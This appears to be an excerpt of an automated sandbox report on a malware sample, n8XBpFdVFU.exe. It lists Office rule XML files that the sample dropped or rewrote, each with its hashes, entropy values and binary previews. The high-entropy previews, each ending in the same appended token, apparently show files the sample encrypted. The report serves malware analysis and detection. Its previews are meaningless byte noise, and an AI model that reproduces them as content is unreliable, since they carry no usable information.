SSDEEP:	24:7IBQ9VZXjw/D89iduxki97+CUJlI7qJaBtO6bD:7IwVZ8/D8lkNDIGmU4D
MD5:	C6FF8393F7F01697253290D15978A4F7
SHA1:	7D7B397D29D8F5DEF4607B5B1D7996C9CFCA39DB
SHA-256:	2337FFD00C9F320C01CBC5B3372C89F1DD868D41AF54FA606DA6F6EB6015E1A6
SHA-512:	AD10065017B8F09E78EF7CB37A96CB366AEA40342987C6838B938E5B9B9B1B4367BA0980703539FC848D9AED4360E021D4A9B2DA09B3698D5FA525F9BF7558F2
Malicious:	false
Preview:	.<?H.t...1.q.OD..Z..<&r..'.u.iP......q..@.......?....mJ...z.GI..j1.@...\51..._.....XE~6.G...8..8..E..H....{q......?.N...a..S.s.l.gy.#..&.m.-.....QLJ.kq.....>.<.E..tI..3........u.g.$.....#......Mc......Q2..x...O..][...... .6@..8.,0...r:...t..........;....y2.b.;.f.!...e.{...Y...^.tr..f.A0..Z..\|.B;g-..i.,.5...#.'.........=9".s.........W.w.ta.:.xe......mNCbr.Q.I...K......v..z..b.=.....n[0n.6..M.,3wZ.N.i..(}..n......._.z...b...jF..........M.Kq.....<...."#y.....J9IB......lk..Z....[.5.z..!..L...-.'...`~....e/...lx.......b98.}(+@$...coyr."......yo....7.B..\.x65.LR/...^w......#.A.6....._.I^.T:../...A.r..U..xAB....A>....8A.g.S.>r.._....D.a...c. .....)7wMb._.(...E...@@1..!.S.X5gZ...~.L.X...~...o]t1;.".j%[.v..g.?....j..9D.......V.X.......s...=y..@,=..7E..o.#..3e.?.ml....c.,.......A...&...@Su..n..U..q,...t...y...8.v.@.B.)..G&...."...B....*ISLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.70575391988713
Encrypted:	false
SSDEEP:	24:XR8YcjI4o3RqG1AGWvEdjeREg1WAdD4Y60VzhRHbD:h9cE4ohqG1AGWIjSxjH7D
MD5:	CDEFD62020CB38AA919222790C5E51CC
SHA1:	4A03A6EB16A2AE7E35624F164BA2D801071B79B4
SHA-256:	802277381D6253717D7627A7A047F8A53113398ED8852BBEA571E452781A8AF0
SHA-512:	0366F491E116DE17849964BA5BE6091AABBC1FDF1489802C5E7256FD56DF8E814D1F4FC08569C709A44515BC5D48F48A478EA700A8C05649AD18C92D00162364
Malicious:	false
Preview:	.<?.w.6^H...L_1..B.3..@0..^c. 2....v..H8$U..@u.Sj...R...H.!..!....0..V........+.=-.<....k.?(....)..w.TMZ.h..af..2.X...}.!#_....."..x.V.1..gX...Y.,.}..q...%..>#....K...Q^..Y..P.....xn.,).J...t/....E..D...C.2......Nc@^R..IC]A,i.M.$....4n5....+.i4&.".R.3..?.X...v.d.C#.0:.y.Uj.^?....i2%.w.{.\|..ES*w.@......a.3.'........O..@....S.^.%.N.9.C.)......U<9..5.3...J..?...m..:..Q.-O....R..1D......^\|.Q....#...;.Li......O.h.w\|.. Ml?..P..t....w..<....Q.....o....7..p..AK.../.X.r....g.-....Bj0......k..T......k4.<E.`<6..&f..l?...&.....E.....gA.+-5..Ac..l{.F$4...r.<Ex..k..>.=...C.....N&1...ED.N3..._.L....:.......x..[]\......{.o...3<..Q.M(~t.:.PoW..e:.C....RD..&}L.BM......(dKr.W..!.<yU.5...[.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.650033341181162
Encrypted:	false
SSDEEP:	12:nl3lvUHvIQZt6450yTuSupasEyURrPJklqG9dm9mH8xN//nzzrh61+cii9a:nl5UHNEByTkpDQFkNk9mHwvzzFBbD
MD5:	B550FE399693DDE2E12455A31505E5A7
SHA1:	2363452F67E3E0BC5E1512ED18FA94A21C8FC798
SHA-256:	50B266BDD751352D1D6EFA53B21DF7E295EB092CA1FEFDD5D34409D208A04D44
SHA-512:	5F72F926A3FBB0923EF710C71E2A478E203B8119056C6533E51CAE3127AA5D79D7FA7EDFD093641262C5BEA99752CC82D3196642DB0B5693F4B673E485882B8C
Malicious:	false
Preview:	.<?G%J.b....U"gP........E..s...x..{..QW..F..zb(6\|..=.E].I...s.y#.8.l!T....@........y....k..........TP....`.!.8r.......w.........T5..~h.)..c.],...^\|..# ]_P.....=.<..YN.D..x..>.V...m....X...^n.7f...V..F...~!..%@hW..Qn.FB}.-.\..@.U4...m..K........d.Y.VZ!..q..3.k..t'........t......;.....U.h...q/..G..;V....b.d\.....3...B..h....O....o].L[dtHD.Q.)/a.......G..v.UuR..t'.,*..p...Uz6...Mk....KR.i%......."p..A6!.^=.w.M.K...t..\|b..U....+B.Y.L.. .0..@..(k>ZvAn\|..+..fq.Sn.....tw........`..\|....?.Pw\|.jiUt%......E..Y....}\@%.&T(;.hK.h.L.JwV.......K6...~I...P.......vt...T.....sC#........ROA3&X..m.q.eW.q.d.,...e..+E..P.nY.r6@SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.702821119558066
Encrypted:	false
SSDEEP:	12:vzuHJBMkqSGj3tdsM47x+pMlLyvK+K7VDqaCHGxbzbx5SbOXjQUZNEXheC1+ciik:ipDqS6wM47ASYihpqa6od5MO1OheJbD
MD5:	ADF4A2FC2603FFD00D99E2C38140F401
SHA1:	DD61FCD66D3B92E5EB13FC003EF991514B4ADAC5
SHA-256:	547616497027A1C7601D158A6E4F90B297A467264FA0F40F91221E774F87BBA1
SHA-512:	3F0CE5854AC27A13491D4210A9DD73F3A720BB20A14C51523F8BAD69C99B07F1BAEEBAE1F4701984EBEF281AF9C7C18972811AEB981644C80644BB38397F02A2
Malicious:	false
Preview:	.<?.k....L}l..P.fN.5:.v.....,.....6&95.r.PC....7.....4b.v...$....Y.../,EsTP...:.k...<..C.]..b...6.g.'r...<j....J...+.......8..Z..5..A...0..;..?..H."A..1._......;.%'..9........vT...eK..a.<.KIxJ..f.97.+..9bD.BK..<..U....w.l..{....x. ;L.b+(-.X.$.Oo.....5+.........[<i..X....._.W..~<....Q./.YJ.....x...../.b...]z8.....:..&MOv.._.}ad..Ao.. 5.h...]..6..i3yK...V..q.9c&...-.a..L.)....:.5h.....4..0..U.]...{n..`..p...X......:.+k.V.....D..'.KY.;.)Z..#.&R./!a#H\..+$...q.v...lX.....T.0....Q......9]/.W.....Q`.1..ji.'..(J[...Y...R.1.].Ndp.xLe..h.'.p..n....o.KO?.....j..F..GT.OT...Pk.e.6M....P........x...HI?..G..OpQi.......G...}:..*k......%+& ....a....r..NA/0.N....Q.c.....o.'swx.?.i.=.,.].5.m..0!SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.739748845307099
Encrypted:	false
SSDEEP:	12:qD3Y2Kv/aP/meYMwcDd+nwRMzTkNl0F/XWkVRy5ZrnTVQgH10xzYm8JxShqz1+cq:d2CaBug9azINl8/dVRyrrJQA0GdUMAbD
MD5:	4CFEDB466F92E80DF040AE050ECAB483
SHA1:	D6DDD6BBDFB70B4670FD98498A2C06DDFE1E3BEE
SHA-256:	3286F7CABCEFD563C30E2E4D6635EBD07B42450B8406E5E4C4066996F1288F23
SHA-512:	0741EF56B8AD978FFDD333A6B01CB813830F3902E16CF55F0686244DB6B3867FD40DDE0A6034041F82D306981C71B727E70D61C2019303E2ACE21B87FD391D55
Malicious:	false
Preview:	.<?.(......f.i^.`4...&..cz.N u....FeH\.+%....f=..O.....i>..g....q.....U..z........p...h,I}..}.....w..Y\jS....g......o..RS.....N-{.....z..}j..J.K....n].....'..Y.=.,..^H.d....5......2..7jE.....K'M.d..v...,...e#...G4.s..j....}-3y.].l..l..t}(,....M........k..^.4.g.z....@..+....h..A..Jf.....k....R.Z.I2.. ,Nw.z..v_...z3..Q.D....v...Y.:.E...\|w..N..<f........R2.u-...N%..........II..(Y..n .!..&.!...\|..W..X...g0WH.>a.._jt..o.Z...... ..8^.T....F..)u..N_....h...]EK!Q...}......Y..p:.l...9..p...%....5..3.r.M..e.%.q.eX.M.#.N.7%.k....;8.7........_/......JN..pd....)..N.&.....(...W....Dn.....=v....y..=.........".........\|..;...f../.M.....i..^?p..t..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.750077087549832
Encrypted:	false
SSDEEP:	24:WnIcSepuyu98QuU1x2uozd9Q6yce3rNjzbD:2qRyumUj2tzYb7nD
MD5:	38E0ABFB0FB604DDB8E2179554A6ACB9
SHA1:	0DDE459FCC7CE888E3CADB1DFF63C952055C71CC
SHA-256:	4C97D8AB1503171BC405543F95F54F85AE41C32A3882CB3547EBE283F2A04A54
SHA-512:	1AF9F0DB6205C1D8DB8BDECA43AC6DB133A70C5D8E0D2B18765C642D01749F92D340D4B293B1BEDDF69C0A60ACA2A3E566AFE783B3ED3268A578E1631579BF7B
Malicious:	false
Preview:	.<? .4.ST.d;>.T...e..'...i.m..../@r.M5.?<.p....".p."Q.`O...D&....5 ...l...O.H.......h2....1.$..WT.]...x.z.Z.......!.I.9.8D.b....Ds0........Q....7.R\-...YD......_@...../....'..HV=..I:...{..8!c.]...g~e.MI.pK$.f....N.Gs.\|..)..0#..j.r.'..................+...X}\51...N./........&?.a..4J.p..WuQ`P.i.."]?......yb.P..Y........[..#h..#B.].....Lu..T.$.k.o.G....b...@g.7qW.z.....0..I..U..v..mX....k.&..!.Dh.a......,.U......6....-.)8.D..MQ.3.E%q.?..k..zDG..../.Q.)...~.h..>B..8..w.u...r.Y.*.?.....vg..C.W@..GS..)..7.^.....}.[x26...)%m..D.....x....G..f.$..e.P.j....Q.`.~7..Nx.-.T...U.....qj.S.....fb.f.e....0}..C......c]'9.6. .K..U.....;M...6.t....._.%..}\.B.V..I#..Je..A.+.+SL..K...'..=_.0:.`D.U.u.0.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.729748826379067
Encrypted:	false
SSDEEP:	12:+B1i/VMkI0kNY1dkAH72BScptBydUHzSoKncrXVkTgRKiZxf8pMf1+cii9a:+B1XL02GyBBzzkncreTgJZibbD
MD5:	78A8805C0F958EFBFD76B0EF0866A10B
SHA1:	9D5350398C9A83E4EF0B9923FAACD24BB563A699
SHA-256:	D3603CABC6BB5145ECE7464738E1C73AA8C9AE5EBB5941A6239ACC27E53FB683
SHA-512:	2271EC6A8F28667D9DB129D0D4D7DDA7BA45D4714E893CB13F57F7E2CF8F1F45A3BB36CF3691642147AB85692D23A51659779918E595DED27BC88087005E091D
Malicious:	false
Preview:	.<?].F..(..g."`....&..r6:...........%......Y...J y.h.P.g..m..S}3q.K....j...........(`.F.....}L.4..1eC...P....!W...Y.:.b.....d../..L.mx...w}-@YE..Fo!..{.c....^...%q.;n..A..<g.C...Ra.....LT..)i.0..3..L.."J.W.H.s..A...W...3.iB.*/d.>..B...{....5_n..M..O.....4.[r...tq.$....p....n.3@...j"...h...@.T..6........PKw....... .t~....J./......b.pFNy...D..h.Ty.........-BH.....%I...,....).4.iaW...hp....r....k.Mp)\|.b>/G.:.U!$..o..M....9{..L..?..\o~UR..=..cre..)..p$/..y51.K"..e.u..6O}.."p.3.....b..+.B.C..Q.t...f...N......Sm..,.x\|.H+...N;......._....0.Z.eW.;ACu ...Q....4.-9.......q...@...~Js.S....M....j.S?.......f[.N.nf.XrI.Km...C....^...A..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.758162112480851
Encrypted:	false
SSDEEP:	12:ZKUpVg9AsMyrD6Bjl6dTIDIDyH0PyfF4h2MnQyXi6AXm+GiNb3AoqspYfyJ1+ciD:ZKT7MyyB8sDIDjKSTndIPNbQo9UbD
MD5:	A46D918C8A00B1385A46B1C3A1A9E5B7
SHA1:	8DB19149571B44DA43E3863792F7EC746710A6D8
SHA-256:	4DDDA88A73FDA1A7510F8FC74291D68373C9CFED9844C62AA1768757362DD649
SHA-512:	DEBC809369B89754394F556C3ECE0E6F666D17AEF6221234239E50DC6B659828ABC8609753673B2CAD8BED962816983B8543D1ADB77F8094580F28F0E48D54AB
Malicious:	false
Preview:	.<?#...w..v..b...T.v.......Q.$...\...b...^.GZ.%7+j5.....Q=..f3C.k.9 !1..U.=.)+.a{.l;..j=....h(..-........r..I^8.N6..0...D.?...J.B......2/<.._l.......M...........-...dg;..$....3.?.[..._....L..b...[.j..5.z....z~..TD...ba...."..0....V.}X.<Xo.$.O.h......!"....a....^:.p.\y....L`..w./.~)n.A..a.Y.s..2-.A....aS_......m....../q..GX..o..".g.j..b\|..6......d..q`.B.\o.>..6G.hD8....,.w....iek...nX..o&P..R.......]...)...$...d...^U..Pp..q.#...^0.4...f.f6<.x.).p....+..9.!o.{.."...\.11i..t..A.w.....)$........C.g.jK.$...w..X.I..J........\|..Y..K..b...#y...v..\J.....:.&...4..n.m.=..%.]R.....X.....Qh.:.P~.*p....1.. .`S...)>.KQK....xv.D..u...r2..}<..........p...C=.l..@T.....@deH.;.......x.b.....2.C .SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.7424966258443515
Encrypted:	false
SSDEEP:	12:xFn4G2Zypiv7VS8FAdhNTO3u3fWcKvY4xOujlErCPchs1uCGHWl1+cii9a:xyGHijsOeocKvLxlj2Ds1hGH3bD
MD5:	BEF8E56EF2E4AB4301D59A95EAC40707
SHA1:	EAA1FC6BDD01C94F76EC349F6935BE6D222142F4
SHA-256:	64BF37AE1304F3611A2A6B5A351D4526923EC6959ACF2E26BEBD44C95F9E8E69
SHA-512:	48AF83851F3C09EC0B4BF2D34C56BD1789E9149A33A4AD538ACB15686CA25F3C822D6107207414680E5BA5705831824B03FE1A4531044F2D0A9CC7F09F50131F
Malicious:	false
Preview:	.<?.HfW..}.O<..s..v.N...f.....)=.:..O/..a.....pj........`...%.....H.CW.)....l.2../...F..r.f..U^.mnM...Y\|;/_.[..............2;.pD.......J.wMn.T6.r.....`..gU.........e._Y..Ah..s+.o.j.P../e.....+.Z..]8.......\.W.>u.j.# RH.0.U.}..FU.sD..j.9....V.J.... .5..<....8..k.X.W.0H5.5J..^......d"l...F..j1..x.N...U.n..7\|.M.:.t.....t....1Vd.p\.....\1Z.."`M.... .../....u.a.-@......y...BA..d.....:.]GR..C...p.[~..$...o..=..{..O...7...2S+/..Pe.....8B...;..g..3QHv.R..a.g ...jV....e..f%.W6.i.LJf.,...sKQ...L..D.bR..&RLz./JS+[...W.h..#...:...S..}...K..r.ap.V... s.2.+..e..u....3w..{3.....$.).).[.....,.....T.1.\{.o[.1..QP..j....;73.F.s...9SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.673765699777641
Encrypted:	false
SSDEEP:	12:FlGaHA2U4whrHrQlIP0kFs3rN+awbjMtoGOC9h7fe02V2Q3A/HISRnYR961+ciik:rHA2vwhLrQlS43rN+aIRy7GHV2Q2sbD
MD5:	337EF839D36BC791F35FC4F05E759821
SHA1:	B95AA796CCAE7EFA35540C08660E61362DA8BF73
SHA-256:	3619D560AFD8A7301907F9E1F1A61AE9A3A5A68D5C8862E6CCAFFFFE1F9C112C
SHA-512:	63DC084D7702014ED726EA95545F539BD30443C2DECF8BACC617BF02068A85EA69987567B9991A65800460A9B02AD989811B31E5C8930714670278AFF54D2B93
Malicious:	false
Preview:	.<?.1.C&.....l..0....f.....50......+b...e..j......\|.n.j.. .Mc....yk.t.....I...Oo8AcS...^>. OJ;...{.pI.Qs.......o...8..C.&yky..L#....q.....\|..n.B..].....?.&[..`...4.-F@..oi.xp]?..,.Z.)\|.l.....k..<$8......`.j..I..".=.Z..mU.."."....>.......N.>.{c..b.._..S...H.8..3.}.D<).]+.A.0. .-5.E6..qY.....y..ga...B8..M..J..r..AB.A7..8G.mM....."......cA.fXCM.~^.y..jVd..%@mW.....(...x....6V.....HN<.f.E./..J.l..id..!)-.U..WDg...@n...$....H;..$U..."j5z.DT...cb.\..#.n......i...7.W.ut..F...w.C?....D.8.f.R$.?........Z....<......eB\.)!.o.......v.FM.C...Z.vW.;.g.....,T......U. .twO.M.E7.-Zc.)j.c....G...Y.bcN...w.!....<#..9.{K{..u...9.....P..O.f).~8fd....H..\|I7K........J......G.....D.........7$.k<.G.)..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.728225223948039
Encrypted:	false
SSDEEP:	12:bIvBvc2ZkvDX1DTCj4XTI3OtxLoVA8iu+fnGZNQrcEE5biJmiEPx1GCBbWW6rUBm:bIvBNu7X1VTIetO5R+fncbiOt/j6bD
MD5:	E06121D63D85F166756F18AC195B844B
SHA1:	B17ACBBAE5D123F1B4556F0941D8762C201077B1
SHA-256:	9A8CA91B2630295E5DC4A752C8F8524D187C0A8AC169D3C073F32FFEAF608264
SHA-512:	4FC49A704724619C8E0BD8EE42F4789129FA3CA645FD8E9A819F02E95A30B024FD9D65C13C751A8A43F468968934E85D941096EAC03164782A4AC90A1704F752
Malicious:	false
Preview:	.<?B.R.....j...k[a..1L#..I!8..!...j.....)..d.$!.}.~.H...0`L.r.RO.9..<.FEBo....}.....)(bM....iF.....P.......[.o.s xU.j.o.g!.B6...z...G........?.r..`1.".].-K..ig.......s-../..mX.............fw.6k.r.WeFV....qB4.5<.xB..k.gz....'..W...b.....S....U.Q.>.\\|.n$(.d..a..7m..!\|..........A`..:.........\|..24.X..@.....Z..w.....y...\|.~.h.Ute..Bh.dm.x.?.d.=]x....z.Y..M..0....w]v.@.]..;..v...<..... 8._%u....(...9T...REi:u........#....w.SNJ...;.S.Np.Q..WQe._I...r..O...o...mU.....b.+.m.J..7....b.[...F..o1g...Q.{..qz^GJ.#Rei.c...G.(...'.~.1S.b.]&.c_..(4.Xk....D!t.:....6..<d...yL..J..5Tv..0......X..,.B.cq..J...A?....R.9.7..:5J.p.^1..C.....F.6...!.;....#...].g...Nh.`]......@(.$$...6..qSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120624v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	828
Entropy (8bit):	7.736860285107744
Encrypted:	false
SSDEEP:	12:lFa43gupb5Oe4QeK1b7NM/THBr5UGjPdLruP9eA6eNX59etsmMMGLgpo1+cii9a:lDb5Oe4UpE1r5UOJKPvBjUwubD
MD5:	7C0DA84B3EBB3A20F7FD931BA751EC73
SHA1:	B78E7FEB3B6DD7270E2EE18046397FF4E0198238
SHA-256:	9A783CD97D7BC459C666A55CEFF7C4594925EF378FDCA4314410974A8251964A
SHA-512:	DEDB8DC601D965D2D86A785616852EB80D1DB66BC9AC615EE253E118E309C307C72135A55BDD1429181631ABAD86F5C0DAA6B21CF265B98F5BE2A6D24CFFC29E
Malicious:	false
Preview:	.<?.L....!...#;.....]...5..+.QM.9.OK...\|7i...V.P....RF..8...........}.A...Y........1....2....Q..._...../.....-T...5.."....I.1d..58..~W.0.....i..c...hV."..Z.p.{KV.K1...q....1...r.,U.b...........\|...^\.\|..G.;..t.c...S..T....N.{...t..../...Hst..38KqW.p....jB....%.b..S.U.......L..O.I.SH.[.......;,D.>.......I.......me...[.6....V.78.(.c.I...5..@..<f5I.^0.K...Q.3....../.%[.......f.LYu.d,......[sS.!...#.9..2ES.D.CU...>.g.T.H/.. 2.K..`..h...X,.".Is..(..r.f.{4.^.#.K"1.P.(sb.<S..4.+.j...%......l.1.HB.y..>.V.d..J.q.Xu.#..A.....p...+....Xn....:G.^....-....2H.V..s..h..C...T...A..........c..d...L.....{.a.r{.>jnS.......G..C.=..1......../ .1_.qs.2.^..$.I.Y.6O&}V..G.kZ.^.7.@......Q..ow..{....]vziM......SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120625v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.747547724003331
Encrypted:	false
SSDEEP:	12:ZHkNg9cO4Ps7SVftLpE/xMU3WP9YOd2IZnuxT8ecbwe6K60IsL+e9n42c1+cii9a:ON2z7SxtLp03FQlIl85/TjJL+e9nvbD
MD5:	E3F3A7B39107983F42664B7BCD09B16C
SHA1:	89782FFF64CB05C8EE9FB473F0F3FB240B65B9BD
SHA-256:	5FBD753E7FB9918945A5D2651850853D1DE907E626C98480FABA113F0F77DC0A
SHA-512:	EFB536A4C5B08733601C818BDC63D348426ACC6D7BEE74BB15FC794E6E8BFAB11162785C98370D3D94A794A19F93ED8739C9185A2F30B23954AA76A456D3CFE8
Malicious:	false
Preview:	.<?..[k...(km..}.m..(..3...`2.F.X.....E2{.{..R.d..l\|b&[..Fyk....4...$q_.Q....SK...#'......P~p.+....+.....7I.!......V..}%..!c>....qP...a..v.......0......H[..x. ;..0G..s@..@...b.....<j...n...'..m..%...@.U}3.N&Vs..x.;.}g^mA....}..:.....u...R.g.T..x.H[...^....8..}.....-..~.L._o.vj...e.4.HN....9.$..\.y........}.......}....f.V...7..9Z".!B.[z..6...hU....).H....<.O.Q..w._d.[.."t5JF.J.b..9\...^..........6....X.....vb.\|_...).E..mo..1.....R.k...&....s5.=o..D.Eo..p..."%.SC.......2..5..v.X.#..-......)..w..........0Hf.i.5.~....(9.!........>.E.=..s.$d.m..S9ls.<Y.G.1..\|....v..3.Y.=G..M{Ms2.......%.....?..,. :.,T..W.@....n$=F...\.O,2.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120626v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	7.683405538974695
Encrypted:	false
SSDEEP:	12:QbJKDh/b3EIZZyKEt61G7qu2jI1foJ8vHkObf5GfcP+qheiHs2gdB+bf1+cii9a:QbqRb3WNq5jyf3HBbf5FvscAbD
MD5:	6A9FC5A32DA1FB0E1631AC857ED32EDB
SHA1:	38043C28EC9FA12CA492721ACC9995018D39EF2B
SHA-256:	BCA8B0C68942B4C6A504D4A494FA971385842DD034B412AEDFC242583A67786F
SHA-512:	1C0BFF08C9D18C13F309099FA640475498B7804F4E8F786595303007151FBC6373AC54AF82FAE397435B5D8F173BF56378BC68B31D38904B23C7C419A0104FAD
Malicious:	false
Preview:	.<?./....6.G.>..lB...w.e`.....gD...u..N:..7a.tv.y.f..0..Y.U!.5.U...G.0[......-..zI...$.ee........5@...!^O....II..;...q.a.a..iN...+.M.-Q.`...o.F.@(.5....&.B..h..o...x> ,K....w..Oc..1..n.$01.v.-...J........KM..$....O.E9.4.`<u:I.>5f......3.O..[..X..l.....ycnp;.u.}..I..RI.G..}.t..V.....S.U........".v"....1..#...x:.c.C.e..W...v..vE.../F1".T.{.%.O.7...rR.p.<..C.....5QF.G..b.@........$....4C.w.......f...\!...Y?Il]m.....CW..x.h".-.5..0...;..9.\..a.r9K.K..`..'.....hPS<..4w(.`.4...9..+...5...l..2.Ub.h..~....../.""......g.1....t[...@k..f.l.e.....3.x&..9.I0.L..>.x.......}.~.o./.D..6.O.~.}..."......pp.........&S.5..Y.G...~n..K...p.#.....Y...~8....}%4Fh.>...=..`...CC......78.d....#:T..i.u..l.7.W_..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120627v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.680639320166319
Encrypted:	false
SSDEEP:	12:yRGU/Z5Ty84lofNtK+abBA+srRWJoupybatsR6jF3rOF37heKRy4S1s9ChOQPgGC:tUne8pG966ouUbatsQ53rk7heayEEXOl
MD5:	3CD2D366C68EF23C31460CAAF55908A0
SHA1:	D0623E201BB4E744299C33DA93A318E2CE256788
SHA-256:	43189246C5079EDB10322DFC1BBB2978318B51641CA29B07D42BA546E66C5C11
SHA-512:	7AAD1DE29B4B505898DB195139DCBC8E005AC01A25B70D805B7FBC9AA47E39A75DBAF682AED252C8489ADCD7170EB87C7018466391178704FD7D14B6A53D147C
Malicious:	false
Preview:	.<?=)1..s_.....T..Ht.jt.....K.].<...p....2.Y...b..~.eI.....>]...8.Z.8..Ip.c..)..8.7..M{..#.%0.f;...S.O....a..\...{.......W...g.1..S..bB.n7q\|....I.... 8..S6,(q.%...)o..re.)..Yj.<....._.7.(..u..G$.p...&C..>.C.....w...!/.n..8,.....>.s.+...L.Jh...C...s`*0>.qS...IO.ec.=...l..&.........'...?$!c.^.?.2.......??.../s.%.P..[.l...}r.~}.....S..V.3....7...9F.....K...T.$..u...)@.)@....U.J..7.....Pq.ou)aX._.......fV..C.(.:...............Lu..cdw..@-Xd..B..'\|..../w.O.....s...>..`...?.......E.h.LG=..g.....=.. .8..)_9r......_G(..TZK... $.n.Z.2.....k6.t.o .T...H.bf'P._.]..s.N%EB..f r.Y......J._....7.l..+...u.T...g.C.w@1<.Q...:U.#E.NL...{SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120628v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.73045746417312
Encrypted:	false
SSDEEP:	24:++P9WSsbyGQM6E9XiTuDhCZvdg1UFYX1bD:++VmblP6vugvC1UFYVD
MD5:	D1E403F2F6D4B66459A29064DCB5B19D
SHA1:	47F865F063AA6981BF620015B4A98B9FA32ACF52
SHA-256:	E8967B8A01E5A37C2791086F97E31799E24C4E154CF8276DD434E8D091A8F591
SHA-512:	C3A0D7CC7C0B7EE9AE8D7B1195BC87EE1E8D94A0B01DC45AC646F9E714E19492354038415106FE1951B20C5EE1FFD424DD9DD776A64D4E14E8107BBE5F4A8400
Malicious:	false
